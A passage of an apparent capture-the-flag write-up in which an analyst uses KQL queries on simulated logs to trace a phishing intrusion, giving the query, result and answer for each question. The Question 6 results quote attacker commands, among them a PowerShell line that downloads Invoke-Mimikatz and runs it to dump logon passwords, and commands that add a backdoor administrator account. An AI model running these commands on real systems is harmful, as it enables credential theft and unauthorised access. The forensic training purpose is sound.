&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt;&lt;br&gt;Among the other commands executed on Alabaster’s machine after the successful login of the IP &lt;code&gt;59.171.58.12&lt;/code&gt; the one that stands out the most is &lt;code&gt;EncryptEverything.exe&lt;/code&gt;.&lt;br&gt;The answer is the name of such command &lt;code&gt;EncryptEverything.exe&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;Question-7-2&#34;&gt;&lt;a href=&#34;#Question-7-2&#34; class=&#34;headerlink&#34; title=&#34;Question 7&#34;&gt;&lt;/a&gt;Question 7&lt;/h4&gt;&lt;p&gt;To obtain your flag use the KQL below with your last answer!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; base64_encode_tostring(&lt;span class=&#34;string&#34;&gt;&amp;quot;EncryptEverything.exe&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;print_0&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;RW5jcnlwdEV2ZXJ5dGhpbmcuZXhl&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;Echoes-in-the-Frost&#34;&gt;&lt;a href=&#34;#Echoes-in-the-Frost&#34; class=&#34;headerlink&#34; title=&#34;Echoes in the Frost&#34;&gt;&lt;/a&gt;Echoes in the Frost&lt;/h2&gt;&lt;p&gt;Use logs to trace an unknown phishing attack targeting Alabaster’s faction.&lt;/p&gt;
&lt;h3 id=&#34;Section-4-Echoes-in-the-Frost-Tracking-the-Unknown-Threat&#34;&gt;&lt;a href=&#34;#Section-4-Echoes-in-the-Frost-Tracking-the-Unknown-Threat&#34; class=&#34;headerlink&#34; title=&#34;Section 4: Echoes in the Frost: Tracking the Unknown Threat&#34;&gt;&lt;/a&gt;Section 4: Echoes in the Frost: Tracking the Unknown Threat&lt;/h3&gt;&lt;h4 id=&#34;Question-1-3&#34;&gt;&lt;a href=&#34;#Question-1-3&#34; class=&#34;headerlink&#34; title=&#34;Question 1&#34;&gt;&lt;/a&gt;Question 1&lt;/h4&gt;&lt;p&gt;Type &lt;code&gt;stay frosty&lt;/code&gt; to begin&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;stay frosty&lt;/code&gt; &lt;/p&gt;
&lt;h4 id=&#34;Question-2-3&#34;&gt;&lt;a href=&#34;#Question-2-3&#34; class=&#34;headerlink&#34; title=&#34;Question 2&#34;&gt;&lt;/a&gt;Question 2&lt;/h4&gt;&lt;p&gt;What was the timestamp of first phishing email about the breached credentials received by Noel Boetie?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; subject has &lt;span class=&#34;string&#34;&gt;&amp;quot;credentials&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;sort&lt;/span&gt; by timestamp asc &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project timestamp&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;limit&lt;/span&gt; 1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;timestamp&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-12-12T14:48:55Z&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;2024-12-12T14:48:55Z&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-3-3&#34;&gt;&lt;a href=&#34;#Question-3-3&#34; class=&#34;headerlink&#34; title=&#34;Question 3&#34;&gt;&lt;/a&gt;Question 3&lt;/h4&gt;&lt;p&gt;When did Noel Boetie click the link to the first file?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner Employees on &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.recipient == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.email_addr&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner OutboundNetworkEvents on &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.ip_addr == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.src_ip, &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.&lt;span class=&#34;built_in&#34;&gt;link&lt;/span&gt; == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.url&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; subject has &lt;span class=&#34;string&#34;&gt;&amp;quot;credentials&amp;quot;&lt;/span&gt; and timestamp1 &amp;gt; timestamp&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project timestamp1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;sort&lt;/span&gt; by timestamp1 asc &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;limit&lt;/span&gt; 1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;timestamp1&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-12-12T15:13:55Z&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;2024-12-12T15:13:55Z&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-4-3&#34;&gt;&lt;a href=&#34;#Question-4-3&#34; class=&#34;headerlink&#34; title=&#34;Question 4&#34;&gt;&lt;/a&gt;Question 4&lt;/h4&gt;&lt;p&gt;What was the IP for the domain where the file was hosted?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; subject has &lt;span class=&#34;string&#34;&gt;&amp;quot;credentials&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| extend domain = tostring(&lt;span class=&#34;built_in&#34;&gt;split&lt;/span&gt;(&lt;span class=&#34;built_in&#34;&gt;link&lt;/span&gt;,&lt;span class=&#34;string&#34;&gt;&amp;quot;/&amp;quot;&lt;/span&gt;)[2])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner PassiveDns on domain&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct ip&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ip&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;182.56.23.122&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;182.56.23.122&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-5-3&#34;&gt;&lt;a href=&#34;#Question-5-3&#34; class=&#34;headerlink&#34; title=&#34;Question 5&#34;&gt;&lt;/a&gt;Question 5&lt;/h4&gt;&lt;p&gt;Let’s take a closer look at the authentication events. I wonder if any connection events from &lt;code&gt;182.56.23.122&lt;/code&gt;. If so what hostname was accessed?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;AuthenticationEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; src_ip == &lt;span class=&#34;string&#34;&gt;&amp;quot;182.56.23.122&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct hostname&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;hostname&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WebApp-ElvesWorkshop&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;WebApp-ElvesWorkshop&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-6-3&#34;&gt;&lt;a href=&#34;#Question-6-3&#34; class=&#34;headerlink&#34; title=&#34;Question 6&#34;&gt;&lt;/a&gt;Question 6&lt;/h4&gt;&lt;p&gt;What was the script that was run to obtain credentials?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;AuthenticationEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner ProcessEvents on hostname&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; src_ip == &lt;span class=&#34;string&#34;&gt;&amp;quot;182.56.23.122&amp;quot;&lt;/span&gt; and timestamp1 &amp;gt; timestamp&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project process_commandline&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;process_commandline&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;net user frosty AllYourBaseBelongToUs /add&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;powershell.exe -Command &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1&amp;quot;); Invoke-Mimikatz -Command &amp;quot;privilege::debug&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;net view /domain&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;net localgroup administrators frosty /add&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ipconfig /all&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tasklist &amp;#124; findstr /I &amp;quot;mcshield.exe&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tasklist &amp;#124; findstr /I &amp;quot;norton.exe&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tasklist &amp;#124; findstr /I &amp;quot;avp.exe&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt;&lt;br&gt;Looking at the commands executed after the authentication of &lt;code&gt;182.56.23.122&lt;/code&gt; we can observe the command line &lt;code&gt;powershell.exe -Command &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1&amp;quot;); Invoke-Mimikatz -Command &amp;quot;privilege::debug&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot;&lt;/code&gt; that downloads &lt;code&gt;Invoke-Mimikatz.ps1&lt;/code&gt; and then execute it.&lt;br&gt;The answer is the script name &lt;code&gt;Invoke-Mimikatz.ps1&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;Question-7-3&#34;&gt;&lt;a href=&#34;#Question-7-3&#34; class=&#34;headerlink&#34; title=&#34;Question 7&#34;&gt;&lt;/a&gt;Question 7&lt;/h4&gt;&lt;p&gt;What is the timestamp where Noel executed the file?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner Employees on &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.recipient == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.email_addr&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner ProcessEvents on hostname&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| extend filename = tostring(&lt;span class=&#34;built_in&#34;&gt;split&lt;/span&gt;(&lt;span class=&#34;built_in&#34;&gt;link&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;/&amp;quot;&lt;/span&gt;)[-1])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; subject has &lt;span class=&#34;string&#34;&gt;&amp;quot;credentials&amp;quot;&lt;/span&gt; and process_commandline has filename&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project timestamp1, process_commandline&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;sort&lt;/span&gt; by timestamp1 asc &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;limit&lt;/span&gt; 1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;timestamp1&lt;/th&gt;
&lt;th&gt;process_commandline&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-12-12T15:14:38Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Explorer.exe &amp;quot;C:\Users\noboetie\Downloads\echo.exe&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;2024-12-12T15:14:38Z&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-8-1&#34;&gt;&lt;a href=&#34;#Question-8-1&#34; class=&#34;headerlink&#34; title=&#34;Question 8&#34;&gt;&lt;/a&gt;Question 8&lt;/h4&gt;&lt;p&gt;What domain was the &lt;code&gt;holidaycandy.hta&lt;/code&gt; file downloaded from?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;OutboundNetworkEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; url has &lt;span class=&#34;string&#34;&gt;&amp;quot;holidaycandy.hta&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| extend domain = tostring(&lt;span class=&#34;built_in&#34;&gt;split&lt;/span&gt;(url,&lt;span class=&#34;string&#34;&gt;&amp;quot;/&amp;quot;&lt;/span&gt;)[2])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct domain&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;domain&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;compromisedchristmastoys.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;compromisedchristmastoys.com&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-9-1&#34;&gt;&lt;a href=&#34;#Question-9-1&#34; class=&#34;headerlink&#34; title=&#34;Question 9&#34;&gt;&lt;/a&gt;Question 9&lt;/h4&gt;&lt;p&gt;what was the first file that was created after extraction?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;ProcessEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner FileCreationEvents on hostname&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; process_commandline has &lt;span class=&#34;string&#34;&gt;&amp;quot;frosty.zip&amp;quot;&lt;/span&gt; and timestamp1 &amp;gt; timestamp&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;sort&lt;/span&gt; by timestamp1 asc&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct filename&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;limit&lt;/span&gt; 1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;filename&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sqlwriter.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;sqlwriter.exe&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-10-1&#34;&gt;&lt;a href=&#34;#Question-10-1&#34; class=&#34;headerlink&#34; title=&#34;Question 10&#34;&gt;&lt;/a&gt;Question 10&lt;/h4&gt;&lt;p&gt;What is the name of the property assigned to the new registry key?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;ProcessEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner ProcessEvents on hostname&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; process_commandline has &lt;span class=&#34;string&#34;&gt;&amp;quot;frosty.txt&amp;quot;&lt;/span&gt; and timestamp1 &amp;gt; timestamp&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project process_commandline1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;process_commandline1&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
